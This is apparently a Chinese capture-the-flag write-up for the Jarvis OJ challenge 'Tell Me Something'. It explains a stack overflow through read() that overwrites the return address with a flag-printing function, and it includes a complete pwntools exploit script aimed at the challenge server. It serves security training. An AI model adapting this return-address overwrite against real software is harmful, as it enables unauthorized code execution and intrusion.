(Jarvis Oj)(Pwn) Tell Me Something
首先查看程序开的保护。基本什么都没有。
丢到ida中,主函数。
然后发现了good_game函数。
这个函数的用途就显而易见了,输出目录下的”flag.txt”文件。于是利用read函数导致的栈溢出,将返回地址覆盖为good_game函数的地址。通过ida或者cyclic工具可以获得需要的填充的长度。写得脚本。
1 from pwn import *
2
3 context.terminal = ['gnome-terminal','-x','sh','-c']
4 #conn=process("./guestbook")
5 conn=remote("pwn.jarvisoj.com","9876")
6 e=ELF("./guestbook")
7 conn.recvline()
8 game_addr=e.symbols["good_game"]
9 payload="A"*0x88+p64(game_addr)
10 #print payload
11 conn.sendline(payload)
12 conn.recvline()
13 conn.interactive()